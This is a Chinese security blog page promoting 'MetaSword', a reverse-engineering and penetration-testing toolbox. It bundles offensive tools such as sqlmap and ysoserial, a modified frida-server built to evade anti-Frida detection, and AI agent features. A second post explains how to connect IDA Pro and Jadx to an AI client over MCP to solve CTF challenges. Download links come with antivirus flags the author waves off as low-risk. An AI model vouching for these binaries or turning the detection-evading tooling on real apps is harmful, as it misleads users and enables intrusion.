首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
25
篇与
的结果
2026-07-09
【工具分享】逆向工具箱 - 次元剑
{callout color="#54b5db"}🍭 次元剑 - 最新版本:v1.0.9{/callout}留言B站我改名了从 “ACT忆梦” 换成了 发光的神,我换名字挺快的,基本都会有神字。不敢太高调,“神” 对于我来说还是太遥远了,所以还是为成神而努力发光吧。📖{mtitle title="你好,我是墩墩"/}中二的故事在浩瀚如星空的网络世界里,有一把神剑,它的名字深深印在那些敢于挑战者的心中。“次元剑(MetaSword)”是一把二次元的剑,它的诞生,早已超越了技术的范畴,力量与智慧的象征,是数不清的传奇故事交织而成的。创造者已经消失在历史的长河中,渐渐的被遗忘 。次元剑,它见证了时代的变迁,承载着前人奋斗的足迹,每一代工匠的锤炼,都让它更加锋利。从最初的锻造到今天,它经历了无数次的进化与提升,每一次的蜕变,都是对未来挑战的预演。它的锋利,永远不会随着时间的推移而削弱。随着科技的飞速进步,它会不断蜕变,每一次更新,都是一次力量的觉醒。无论是面对艰难的逆向工程,还是扑朔迷离的渗透测试,次元剑总能以无可匹敌的敏捷,帮助使用者克服所有的困难,打破障碍,突破极限。次元剑真正的力量,不是技术的完美,是来源于使用者的勇气与智慧。只有那些敢于迎接挑战、敢于突破常规的人,才能真正激发出次元剑的无尽潜能。最后让我们一起 “手握次元剑,仗梦走星辰” 吧。我还有句更酷的话:“手握次元剑,踏破九重天”。心中的剑“次元剑” 这个名字听起来可能有些中二,我给它赋予这个名字大部分原因是跟动漫有关,因为天马行空的想法和创意,只有在动漫里会出现,我想让它像动漫一样,拥有无限的可能性。工具箱的动态 Logo 来自于《刀剑神域》(Sword Art Online)。我很喜欢这部动漫作品,第一次看到主角使用星爆气流斩时,这就是男主角,总能给大家带来希望。他的坚定与勇气激励了我。作为主角的他每次总能化险为夷。我觉得,他的强大并不是来自外界,而是他的信念,还有他自己想守护的东西。除了日漫还有国漫,我比较喜欢斗破苍穹三年之约里药老的几句话:“当你紧握双手,里面什么也没有,当你打开双手,世界就在你手中。”“这个世界才没有什么真正的强者,有的只是想要变强的人。”“如果想要真正把剑挥出去,就要把心里的事放下。” “我想,挥剑和专注做事一样,应该就是把心里的顾虑全部放下。” 这么多年过去,初心没变。身边的人来了又走,经历了很多事,但人不能总活在回忆里,就算一个人,也要一直向前走。我还是那个热爱计算机技术的人,喜欢钻技术难题,连我自己都没想到,这件事竟然坚持了这么久。看到这里的你,如果是初学者,请一定要相信,你也可以。幻想爽文 .iframe-wrap-one{ width: 100%; height: 68vh; margin: 10px 0 0; border-radius: 12px; overflow: hidden; box-shadow: 0 8px 24px rgba(0,0,0,.12); } .iframe-wrap-one iframe{ width: 100%; height: 100%; border: 0; } 设计初衷次元剑官网{abtn icon="fa-ravelry" color="#000000" href="https://www.52tt.pro/tools/sword/" radius="" content="次元剑 - 逆流而上 | 点击进入"/} 技术可以垃,但一定要有B格,主要是自己写的有成就感些,工具整合后,查找起来更加方便啦!{abtn icon="fa-book" color="#e10000" href="https://www.52tt.pro/tools/sword/docs/" radius="" content="次元剑 - 使用教程 | 点击进入"/} 次元剑出鞘,这个故事,才刚刚开始。水墨特效 次元剑自带水墨启动特效,默认是开启的。如果你想关闭它,或者调整动画速度,都可以在设置中修改。基本功能{tabs}{tabs-pane label="次元・起源"} .flex-center-one { display: flex; justify-content: center; align-items: center; } .flex-center-one img { width: 550px; height: auto; } 主界面采用动感背景纹理 + 双剑视觉元素,精致且富有冲击力。Logo 灵感源自《刀剑神域》,界面边缘辅以 MetaSword 次元剑专属标识,整体风格鲜明、沉浸感更强。{/tabs-pane}{tabs-pane label="工具分类"} .flex-center-two { display: flex; justify-content: center; align-items: center; } .flex-center-two img { width: 543px; height: auto; } 工具分类采用了我个人偏好的方式设计,主要是为了使用更顺手。当然,也可能存在一些小bug,哈哈哈。模块名称核心工具适用场景Reverse(逆向分析)IDA Pro、x64dbg、Cheat Engine程序反编译、动态调试、内存修改、漏洞挖掘PenTest(渗透测试)Yakit、Tscan信息收集、漏洞扫描、渗透测试、安全评估Language(编程语言)Python、Java、C/C++ 环境脚本编写、代码编译、快速调试Other(杂项工具)文件管理、环境检测、格式转换辅助开发、系统配置、多场景适配Frida IDE(代码编辑器)魔改 Frida-Server动态注入、脚本调试、数据解密{/tabs-pane}{tabs-pane label="右键菜单"} 每个工具都支持右键菜单,可以打开程序存放位置,跟以管理员身份运行。{/tabs-pane}{tabs-pane label="批量删除"} 按住鼠标左键可选中工具批量删除,直接拖动可调整工具位置。{/tabs-pane}{/tabs-pane}{tabs-pane label="基础计算"} 一、基础计算直接输入表达式,Enter 计算,结果自动回填。支持:+ - * / ( ) 与数字、空格示例:1+5→6、(100+200)*3→900二、进制转换(仅支持 2/8/10/16 进制,英文括号)十进制转其他:(数字, 目标进制) 例:(4132,2)→二进制任意互转:(数字, 原进制, 目标进制) 例:(FF,16,10)→255十六进制大小写通用,支持空格三、AI 问答输入问题,按 Ctrl+Enter 提问,回答逐字显示。冷却 2 秒,不可连续提问使用步骤进入工具页 → 激活顶部搜索框计算/进制转换:EnterAI 问答:Ctrl+Enter注意事项必须使用英文括号结果会直接替换输入框内容{/tabs-pane}{tabs-pane label="窗口拉伸"} 主界面支持自由拉伸,窗口大小可根据使用习惯灵活调整(并记录最后一次关闭时的窗口尺寸)。{/tabs-pane}{tabs-pane label="设置面板"} 水墨开场特效可在设置面板开关,支持主题切换、MCP 配置、DeepSeek AI 设置,新增关于软件区域。{/tabs-pane}{tabs-pane label="关于作者"} 点击头像即可跳转到我的博客,头像文字还带有一点故障风的动画效果。{/tabs-pane}{/tabs}次元主题 .iframe-wrap-two{ width: 100%; height: 55vh; overflow: hidden; border-radius: 12px; } .iframe-wrap-two iframe{ width: 100%; height: 100%; border: 0; } Frida 编辑器(过检测版){message type="info" content="本内容仅用于学习与演示,请勿用于任何违法行为。"/}在工具栏中点击顶部导航栏 Frida IDE,即可打开 Frida Hook 代码编辑器。{tabs}{tabs-pane label="次元剑 Frida"} {/tabs-pane}{tabs-pane label="官方 Frida"} {/tabs-pane}{/tabs}次元剑内置魔改版 frida-server,并结合启动注入方式,官方 Frida 注入会被立即干掉,魔改版可无视此类检测。{tabs}{tabs-pane label="启动(Spawn)"} 在 Android 上,提供启动(Spawn)与 附加(Attach)两种注入模式,可选择直接附加正在运行的应用。{/tabs-pane}{tabs-pane label="附加(Attach)"}{/tabs-pane}{tabs-pane label="AI 代码编写"} 在 Windows 上可通过输入 PID 或拖拽程序进行注入,支持已启动和新启动的进程。次元剑内置 FridaIDE 模块专为动态注入与脚本开发而设计,简洁高效,适配多平台与调试场景:✅ 支持主流模拟器:兼容雷电、MuMu 等,无需繁琐配置即可注入运行。✅ Windows 与 Android 双平台调试:一键注入目标进程,快速启动 Hook。✅ 内置脚本补全引擎:涵盖 Java、ObjC、Memory、Module 等 API,辅助高效编写。✅ 集成 DeepSeek R1:AI 帮你生成 Hook 脚本逻辑,轻松上手。✅ 调试输出高亮显示:关键信息一目了然,快速定位调试重点。轻量化集成,功能完整,助你快速完成 Frida 脚本编写与注入。{/tabs-pane}{/tabs}AI 智能体{tabs}{tabs-pane label="DeepSeek-v4-Pro/Flash(支持 Agent)"} .flex-center-three { display: flex; justify-content: center; align-items: center; } .flex-center-three img { width: 100%; height: auto; } 前往 DeepSeek 官网获取 API key → 添加至设置 → 即可开启 AI 智能体功能。操作步骤1.先到 https://platform.deepseek.com/api_keys 进行创建 API key。 2.填入 API key 后点击保存即可使用(无需重启次元剑)。{/tabs-pane}{tabs-pane label="ChatGPT 3.5"} .flex-center-four { display: flex; justify-content: center; align-items: center; } .flex-center-four img { width: 75%; height: auto; } 只是 3.5,不是 4.5? 等我发达先。{/tabs-pane}{tabs-pane label="本地/远程 Ollama"}推荐模型:qwen2.5-coder:14b,参数越大越好(当然你的电脑够给力),小点的模型回复挺憨憨的。操作步骤1.访问 Ollama 官网: https://ollama.com/download,下载并安装 Ollama 程序。2.安装完成 Ollama 后,按下 Ctrl + R,输入 cmd 并回车打开命令提示符窗口,然后运行以下命令:ollama pull qwen2.5-coder:14b模型下载完成后,重启次元剑即可显示本地模型。更多模型可在官网查看:https://ollama.com/search{/tabs-pane}{tabs-pane label="GPT-OSS:120b"}【无图】在线模型,可直接使用。{/tabs-pane}{/tabs}MCP & Trae{tabs}{tabs-pane label="效果展示"}{/tabs-pane}{tabs-pane label="配置教程"}操作步骤1.打开 Trae → 设置 → 选择 MCP,启用手动配置。2.打开次元剑 → 设置 → 点击 MCP 配置复制参数,粘贴到 Trae 并确认即可。{/tabs-pane}{/tabs}开发者工具次元剑基于 Electron 框架开发,本质上可以看作一个浏览器应用,按下 Ctrl + P 即可打开内置的开发者工具。程序源码当然,你们也可以随意修改或添加功能,源码已开源,尽情发挥吧!源码结构 .dircard{background:#fff;border:1px solid #e5e7eb;border-radius:12px;padding:12px 14px;box-shadow:0 4px 16px rgba(0,0,0,.05)} @media (prefers-color-scheme: dark){.dircard{background:#0b0f14;color:#e5e7eb;border-color:#263241}} .codegrid{display:grid;grid-template-columns:auto 1fr;column-gap:16px;row-gap:.1em} .left{white-space:pre;tab-size:2} .right{color:#6b7280;white-space:pre-wrap} .k{color:#4f9e28;} app 🗂️ 核心源码 ├─ Core 🧩 主程序核心:应用逻辑、进程管理、功能调度 │ ├─ MetaSword.js ⚔️ 主入口:应用初始化、模块加载、生命周期 │ └─ MCPFunc.js 🔧 MCP 功能注册与调度中心 ├─ Nexus 🖼️ 主界面框架:UI 渲染 + 用户交互核心 │ ├─ Assets 🎨 公共资源库(全局共用素材) │ │ ├─ Image 🖼️ 公共图片、图标、背景资源 │ │ ├─ Sounds 🎵 音效、提示音资源 │ │ └─ Videos 🎬 动画、启动视频资源 │ ├─ CSS 🎨 全局样式:布局、皮肤、响应式适配 │ ├─ Fonts 🔡 全局字体库 │ │ └─ FontAwesome 🔠 图标字体库 │ │ ├─ css 🎨 FA 样式文件 │ │ ├─ fonts 🔡 字体文件 │ │ ├─ less 🧩 Less 源文件 │ │ └─ scss 🎛️ SCSS 源文件 │ ├─ JS 📜 全局脚本核心 │ │ ├─ AceMain ⚡ Ace 代码编辑器:补全、高亮、调试 │ │ │ └─ snippets ✂️ 代码片段库 │ │ └─ prismjs 🌈 代码语法高亮引擎 │ │ ├─ components 🧩 高亮组件 │ │ └─ themes 🎨 高亮主题 │ └─ Views 🖥️ 主界面模板:页面结构、弹窗、布局 │ └─ config ⚙️ 界面配置:视图参数、布局预设 ├─ Plugins 🔌 插件扩展 │ ├─ claude 🤖 Claude Code 集成 │ │ ├─ .claude ⚙️ Claude 配置中心 │ │ │ ├─ projects 📁 项目上下文记忆库 │ │ │ ├─ sessions 📝 会话记录与历史 │ │ │ └─ skills 🧰 安全审计技能包(PHP/.NET/CTF) │ │ ├─ AppData 💾 应用数据持久化 │ │ └─ Cache 🚀 本地缓存 │ ├─ CLI 🛠️ 命令行工具集(内嵌运行环境) │ │ ├─ apktool 📦 Android APK 反编译/重打包 │ │ ├─ arp-scan 🌐 ARP 网络扫描与发现 │ │ ├─ curl 🍭 HTTP/网络请求调试 │ │ ├─ dnSpy 🧬 .NET 反编译/调试/修改 │ │ ├─ exiftool 📷 文件元数据读写/取证 │ │ ├─ frida-tools ⚡ Frida 动态插桩工具链 │ │ ├─ fuff 🕷️ Web 目录/文件模糊测试 │ │ ├─ hashcat 🔐 GPU 哈希破解引擎 │ │ ├─ masscan ⚡ 超高速端口扫描器 │ │ ├─ radare2 🏴 反汇编/二进制分析框架 │ │ ├─ sqlmap 💉 SQL 注入自动化检测与利用 │ │ ├─ strings 🔎 二进制字符串提取 │ │ ├─ tshark 🦈 网络协议分析(Wireshark CLI) │ │ ├─ upx 📦 可执行文件加壳/脱壳 │ │ ├─ volatility3 🧠 内存取证分析框架 │ │ ├─ wafw00f 🛡️ Web 应用防火墙识别 │ │ └─ ysoserial 💥 Java 反序列化漏洞利用 │ └─ frida 🧩 Frida 动态插桩插件 │ ├─ Exten ⚙️ 运行依赖(Frida 运行时库) │ └─ Script 📝 Hook 脚本仓库 └─ Theme 🎨 多主题皮肤中心 ├─ Cover 🖼️ 主题封面资源 ├─ Fate 🕑 命运主题 ├─ Origin 🐳 起源主题 ├─ Reimu 🏳️🌈 灵梦主题 ├─ Ziya 🟣 紫雅 · 源主题 └─ Ziya Grey ⚪ 紫雅 · 灰主题 ├─ Assets 🎨 主题专属资源 │ └─ Image 🖼️ 主题图片、角色立绘 ├─ CSS 🎨 主题样式 └─ Views 🖥️ 界面布局 项目开源项目已上传至 GitHub,可直接替换次元剑 app 文件夹,即可完成版本更新。感兴趣的朋友欢迎点个 Star,我将持续更新视频教程与次元剑功能。若你有好的建议,随时可以联系我哦~ .toast-container { position: fixed; top: 130px; left: 50%; transform: translateX(-50%); z-index: 9999; max-width: 520px; width: 100%; } .toast { background-color: #0f141e; color: #e6edf7; padding: 14px 20px; margin-bottom: 16px; border-radius: 10px; border: 1px solid #272f3f; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 0 16px rgba(139, 92, 246, 0.18); opacity: 0; transform: translateY(-40px) scale(0.96); transition: opacity 0.4s ease, transform 0.4s cubic-bezier(0.2, 0, 0.2, 1); font-size: 14px; } .toast.show { opacity: 1; transform: translateY(0) scale(1); } .toast .close-btn { background: none; border: none; color: #7c8798; font-size: 20px; cursor: pointer; padding: 2px 6px; margin-left: 16px; border-radius: 6px; transition: all 0.25s ease; } .toast .close-btn:hover { transform: scale(1.15); color: #ff5656; background: rgba(255, 86, 86, 0.1); } .toast .message { font-size: 15px; line-height: 1.6; flex-grow: 1; } .highlight-green { color: #22c55e; text-shadow: 0 0 6px rgba(34, 197, 94, 0.35); font-weight: 600; } .highlight-purple { color: #a78bfa; text-shadow: 0 0 8px rgba(139, 92, 246, 0.4); font-weight: 600; } function showToast(message, duration = 5000) { const toastContainer = document.getElementById('toastContainer'); const toast = document.createElement('div'); toast.classList.add('toast'); const messageElement = document.createElement('span'); messageElement.classList.add('message'); messageElement.innerHTML = message; toast.appendChild(messageElement); const closeButton = document.createElement('button'); closeButton.textContent = '×'; closeButton.classList.add('close-btn'); closeButton.onclick = () => { toast.classList.remove('show'); setTimeout(() => toast.remove(), 500); }; toast.appendChild(closeButton); toastContainer.appendChild(toast); setTimeout(() => toast.classList.add('show'), 80); setTimeout(() => { toast.classList.remove('show'); setTimeout(() => toast.remove(), 400); }, duration); } showToast("⚡ 史诗级 AI 版本更新公告,次元剑 v1.0.9 已正式上线,受外部条件限制,当前 AI 智能体暂时使用 Claude Code 驱动,自研引擎将在 v1.1.0 Beta 版本更新上线。", 10000); 版本更新{collapse}{collapse-item label="📜 历史记录" close}{timeline}{timeline-item color="#19be6b"}{card-describe title="2023-8-31"}📦 更新内容:版本:1.0.0 🛠️【技术】基于 Node.js、HTML/CSS、JS、Electron 构建🚀【新增】初代固定布局,包含主页、工具、ChatGPT、关于四大模块🚀【新增】复古圆角按钮,打造独特UI风格💪【优化】初步优化代码逻辑,项目持续迭代工具数量:62 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-6-16"}📦 更新内容:版本:1.0.1 🚀【新增】全新固定式UI布局,圆角按钮更简约现代🚀【新增】支持外部工具自定义,采用ToolsList.xml管理🚀【新增】优化双剑动画,界面更流畅美观🚀【新增】新增逆向与渗透常用工具,拓展实用性💪【优化】重构代码逻辑,提升稳定性与可维护性工具数量:85 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-7-15"}📦 更新内容:版本:1.0.2 🚀【新增】集成Frida IDE,支持独立编辑窗口,优化调试体验🚀【新增】自定义工具管理,通过ToolsList.xml灵活配置🚀【新增】水墨风Logo动画,提升开场视觉感工具数量:98 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-11-10"}📦 更新内容:版本:1.0.3-stable 🚀【新增】F1 快捷键快速隐藏/显示窗口🚀【新增】可关水墨开场动画,配置存入 ToolsList.xml🚀【新增】集成 Java、Python 脚本,支持一键 .bat 启动💪【优化】美化 Frida IDE 界面,支持拖拽代码注入💪【优化】兼容绝对路径配置,提升 ToolsList.xml 可用性🐞【修复】修复 Frida 权限不足,精简冗余逻辑🚀【新增】Frida IDE 快捷键:快捷键功能说明CTRL + +代码字体放大CTRL + -代码字体缩小CTRL + ALT + F代码缩进CTRL + /代码注释CTRL + F快速搜索工具数量:98 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2024-11-23"}📦 更新内容:版本:1.0.4 🚀【新增】新增逆向分析与渗透测试工具,功能更全面🚀【新增】新增设置面板,支持动画、主题、版本更新💪【优化】优化UI与视觉效果,精简代码💪【优化】移除启动动画XML配置,提升启动稳定性🐞【修复】修复Frida注入报错0x00000057问题🚀【新增】Frida IDE快捷键增强:快捷键功能说明CTRL + +代码字体放大CTRL + -代码字体缩小CTRL + ALT + F代码缩进CTRL + /代码注释CTRL + F快速搜索CTRL + H快速替换CTRL + L代码定位CTRL + D按行删除CTRL + ,设置面板ALT + E代码自检工具数量:100 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2025-3-31"}📦 更新内容:版本:1.0.5 🚀【新增】清理无效工具,替换为实用工具🚀【新增】工具右键支持打开程序位置🚀【新增】CheckTools 模块,校验工具完整性🚀【新增】集成运行环境,工具即点即用💪【优化】优化 UI 与性能,精简冗余逻辑🐞【修复】修复拖拽异常,增强 UAC 权限兼容工具数量:99 {/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2025-8-5"}📦 更新内容:版本:1.0.6 Beta 🚀【新增】全面重构代码,统一目录规范,提升稳定性🚀【新增】精简无用工具,新增实用常用工具🚀【新增】右键菜单:打开位置、管理员运行🚀【新增】集成 DeepSeek R1 AI,智能生成 Frida Hook 代码🚀【新增】支持窗口拉伸,适配多分辨率💪【优化】优化UI细节,界面更清爽统一💪【优化】清理冗余代码,程序更轻巧流畅🐞【修复】修复已知Bug,提升兼容与稳定性🐞【修复】优化UAC提权逻辑,适配更多环境🐞【修复】修复部分工具拖拽异常工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2026-1-7"}📦 更新内容:版本:1.0.7🚀【新增】次元剑动漫风格Logo主题,适配启动/主界面视觉💪【优化】清理冗余代码依赖,程序轻量化,运行更流畅💪【优化】精简工具库,保留常用工具,提升查找调用效率🐞【修复】修复已知问题,优化整体使用体验工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#19be6b"}{card-describe title="2026-04-1"}📦 更新内容:版本:1.0.8🚀【新增】支持 MCP 协议,联动 Trae 实现 AI 上下文交互🚀【新增】右键增删工具、长按批量删除、主题切换🚀【新增】支持添加工具,并在工具箱内自由拖拽摆放🚀【新增】输入框 Ctrl+Enter 快捷提问 AI、随机一言🚀【新增】工具箱启动提示更新,支持在线升级版本💪【优化】Frida IDE 代码高亮与提示性能💪【优化】重构代码,优化 UI 展示工具数量:100+{/card-describe}{/timeline-item}{timeline-item color="#ff0000"}{card-describe title="2026-06-28"}📦 更新内容:版本:1.0.9🚀【新增】AI 智能体,暂时集成 Claude Code + DeepSeek V4 Pro/Flash🚀【新增】终端工具栏,Skills 安装、提示词、MCP 面板、安全模式🚀【新增】CTF 全栈 skills(Web/PWN/Reverse 等 8 大类)+ 自动 Writeup🚀【新增】.NET + PHP 代码审计管线,30+ 审计 skill🚀【新增】内置 16 个 CLI 安全工具,AI 自动感知并优先调用🚀【新增】MCP 多语言运行时:Python / Java / C 在线编译执行🚀【新增】Agent 侧边面板,实时日志 + 权限弹窗 + 调用追踪💪【优化】精简 MCP 工具,移除冗余 I/O 接口,统一 CLI 直调💪【优化】重构主进程架构,统一无边框透明窗口体系💪【优化】5 套主题一键切换(起源/命运/紫雅/灵梦)💪【优化】启动动画可配置,全局快捷键,版本自动检测更新工具数量:100{/card-describe}{/timeline-item}{/timeline}{/collapse-item}{/collapse}工具下载{tabs}{tabs-pane label="工具下载"} .meta-container { max-width: 780px; margin: 30px auto; padding: 40px 30px; background-color: #fff; border: 1px solid #e5e7eb; border-radius: 18px; box-shadow: 0 6px 20px rgba(0, 0, 0, 0.05); font-family: 'Inter', 'Segoe UI', sans-serif; } .meta-header { display: flex; justify-content: center; margin-bottom: 18px; } .meta-logo-group { display: flex; align-items: center; } .meta-logo { height: 56px; margin-right: 12px; } .meta-title-group { display: flex; flex-direction: column; justify-content: center; } .meta-title { font-size: 24px; font-weight: 700; color: #111; letter-spacing: 3px; line-height: 1; margin-left: 30px; } .meta-subtitle { font-size: 14px; color: #888; line-height: 1.4; margin-top: 3px; } .meta-warning { text-align: center; font-size: 15px; color: #555; margin-bottom: 35px; } .link-list { display: flex; flex-direction: column; gap: 14px; } .link-block { display: flex; align-items: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; transition: background-color 0.2s ease; } .link-block:hover { background-color: #e5e7eb; } .link-icon { width: 20px; height: 20px; margin-right: 12px; flex-shrink: 0; } .link-code { background: #eee; padding: 2px 6px; border-radius: 4px; } 次 元 剑 MetaSword Toolbox v1.0.9 个别工具可能被安全软件误报,不放心可在虚拟机中使用。 【百度网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: 2085 【115网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: z075 【夸克网盘】次元剑完整版|版本 1.0.9(2026.6.28)|提取码: 无 【GitHub】MetaSword 源码仓库|仅包含基础源码,不包含工具 {message type="info" content="请确保次元剑安装路径不含中文字符,避免一些工具无法使用。"/}错误示例:D:\VoxShadow\次元剑\MetaSword 正确示例:D:\VoxShadow\MetaSword{/tabs-pane}{tabs-pane label="报毒说明"}可疑类型:后门、黑客工具、代码混淆器、木马、漏洞攻击、下载者、间谍、勒索。已完成威胁处置,当前仅剩 101 个低风险可疑文件,初步判断不影响电脑正常使用。{/tabs-pane}{/tabs}工具箱有任何建议或问题,可在 GitHub 提交 Issue,欢迎 Star 支持。定期更新次元剑内工具使用技巧,更多内容请关注:B站 | 抖音 账号。视频中用到的部分Hook代码,仅供参考:Frida Hook篇友情赞助 .donate-modern { max-width: 720px; margin: 0px auto; border-radius: 20px; background-color: #fff; text-align: center; } .donate-modern h2 { font-size: 22px; font-weight: 600; color: #111; margin-bottom: 8px; } .donate-modern p { font-size: 14px; color: #666; } .donate-qrcodes { display: flex; justify-content: center; gap: 40px; flex-wrap: wrap; } .donate-card { width: 200px; border-radius: 16px; padding: 16px; transition: all 0.2s ease; } .donate-card img { width: 100%; border-radius: 12px; margin-bottom: 10px; border: 1px solid #eee; } .donate-card span { font-size: 14px; color: #333; font-weight: 500; } 如果你觉得这个项目还不错,欢迎扫码支持一下 ❤️ 开源不易,维护更难!如果次元剑对你有帮助,欢迎给点小小的支持~ 💖你的认可和鼓励,就是我持续优化更新的动力!感谢陪伴,一起成长!✨免责声明本工具箱仅供学习与研究使用,旨在帮助用户提升技术能力,请勿将其用于非法用途,否则产生后果由使用者自行承担,作者不对任何滥用行为负责,敬请理性使用,遵守法律法规。2026-6-27 20:20 星期六 更新过
2026年07月09日
89,538 阅读
68 评论
4,564 点赞
2026-02-24
【技术分享】IDA+Jadx+Trae MCP 配置教程
简介做逆向分析的时候,大家肯定都有这种体验:在 IDA Pro、Jadx 之间来回切,手动复制内存地址、对着代码逐行比对,不仅慢得让人着急,还特别容易出错。而 MCP(Model Context Protocol,模型上下文协议)就是来解决这个问题的!它能把 IDA Pro、Jadx 和 Trae AI 完美连起来,实现工具间的数据互通、操作联动。今天这篇教程就手把手教你配置这套环境,让你告别工具割裂的麻烦,用 AI 一站式搞定逆向分析。一、环境准备为了避免版本不兼容踩坑,建议大家直接照着下面的环境来搭,亲测稳定不翻车:操作系统:Windows 11版本控制:Git运行环境:Python 3.11.8(重点!别用其他版本)逆向工具:IDA Pro 8.3AI 客户端:Trae AI二、Git 安装Git 是安装 ida-pro-mcp 的必需品,主要用来从 GitHub 拉取插件源码,步骤超简单:1.打开浏览器,访问 Git 官网下载 Windows 版本:https://git-scm.com/install/windows2.双击安装包,一路点“下一步”,默认配置完全够用,不用折腾3.安装完成后,按 Win+R 输入 cmd 打开命令行,敲入 git --version,如果能显示版本号,就说明装好了{abtn icon="fa-git-square" color="#000" href="https://git-scm.com/install/windows" radius="" content="Git 官网"/}三、Trae 联动 IDA Proida-pro-mcp 是连接 IDA Pro 和 MCP 协议的核心,有了它,Trae AI 才能直接调用 IDA 的分析能力,我们一步步来:步骤 1:安装 ida-pro-mcp首先右键点击“命令提示符”,选择“以管理员身份运行”(权限不够会装失败),然后复制下面的命令敲进去:pip install --upgrade git+https://github.com/mrexodia/ida-pro-mcp这里提个醒:如果碰到网络超时、连接重置的情况,就是访问 GitHub 受限了。直接去仓库地址(https://github.com/mrexodia/ida-pro-mcp)下载 ZIP 包,解压后进入解压目录,执行 pip install . 就能本地安装了。步骤 2:安装 IDA 插件插件装完后,不用手动拷贝文件,在刚才的管理员命令行里继续敲:ida-pro-mcp.exe --install执行成功后,插件会自动放到 IDA Pro 的插件目录里,以后打开 IDA,MCP 服务就会自动加载,特别省心。步骤 3:Trae AI MCP 配置打开 Trae AI,找到 MCP 服务器的配置页面,把下面的 JSON 代码完整复制进去就行:四、联动使用流程1.如果是使用工具包,第一次运行 IDA 需要以管理员身份运行一次 IDA_Pro_8.3_绿化工具.exe 初始化下 IDA。2.然后去 IDA 安装目录里找 idapyswitch.exe 并运行,把 Python 版本切换到 3.11.8,这样 IDA 才能正常加载 MCP 插件。3.先打开 IDA Pro,加载你要分析的程序(比如 CrackMe),等底部状态栏显示“Ready”,就说明反汇编完成了。然后点击顶部的「Edit」→「Plugins」→「MCP」,开启 MCP 服务,这时 IDA 就会在 13337 端口等着 Trae 连接了。4.切回 Trae AI,在 MCP 配置页面确认一下之前的配置没错,完成连接设置。5.把执行 ida-pro-mcp --config 命令得到的配置信息,手动填到 Trae AI 的 MCP 配置里,确保参数都对得上。MCP 配置{ "mcpServers": { "ida-pro-mcp": { "command": "C:\\Program Files\\Python311\\python.exe", "args": [ "C:\\Program Files\\Python311\\Lib\\site-packages\\ida_pro_mcp\\server.py", "--ida-rpc", "http://127.0.0.1:13337" ] } } }简单说下配置里的关键点,别配错了:command:填你安装 Python 3.11.8 的路径,必须和装插件时的 Python 一致args:固定写法,不用改,作用是启动 MCP 服务端,连接 IDA 的 13337 端口保存之后,Trae AI 就会自动尝试连接 IDA 的 MCP 服务了6.在 Trae AI 里,把智能体切换成「Builder with MCP」模式,这个模式才支持调用 IDA 的服务。7.最后一步,在 Trae AI 的聊天框里输入下面这句话,让 AI 开始工作:我已经用ida打开了一个程序,请用mcp的方式分析并输出flag8.稍等一会儿,Trae AI 就会自动读取 IDA 里的代码信息,分析加密逻辑,最后直接把正确的 Flag 给你输出来,全程不用手动操作!五、Trae 联动 Jadx1.Jadx 插件可在线下载;若访问受限,前往仓库手动获取:https://github.com/zinja-coder/jadx-ai-mcp。手动安装(推荐)1.将 jadx-ai-mcp-6.1.0.jar、jadx-mcp-server-v6.1.0.zip 放入 Jadx 根目录,并手动选择安装 jadx-ai-mcp-6.1.0.jar。2.解压 jadx-mcp-server-v6.1.0.zip,命令行进入解压目录,执行:pip install -r requirements.txtMCP 配置{ "mcpServers": { "jadx-mcp-server": { "command": "C:\\PROGRA~1\\Python311\\python.exe", "args": [ "D:\\VoxShadow\\Jdax\\jadx-mcp-server-v6.1.0\\jadx_mcp_server.py" ] } } }2.按实际路径修改 command 与 args,复制到 Trae AI MCP 配置页(同 IDA 配置方式)。Trae AI 切换到「Builder with MCP」模式,发送指令:我已经用jadx打开了一个程序,请用mcp的方式分析并输出flag3.AI 自动读取 Jadx 代码、分析逻辑并输出 Flag,也可以进行黑盒代码审计了。六、整合包下载用到的软件我都已经打包好了,下载就能按照文章进行配置使用。{cloud title="IDA+Jadx+Trae工具包" type="bd" url="https://pan.baidu.com/s/1PP2sbVkREX8gvgKb8h4eHQ?pwd=2085" password="2085"/}
2026年02月24日
940 阅读
0 评论
339 点赞
2025-10-08
【工具分享】天阶藏宝阁 - 元创篇
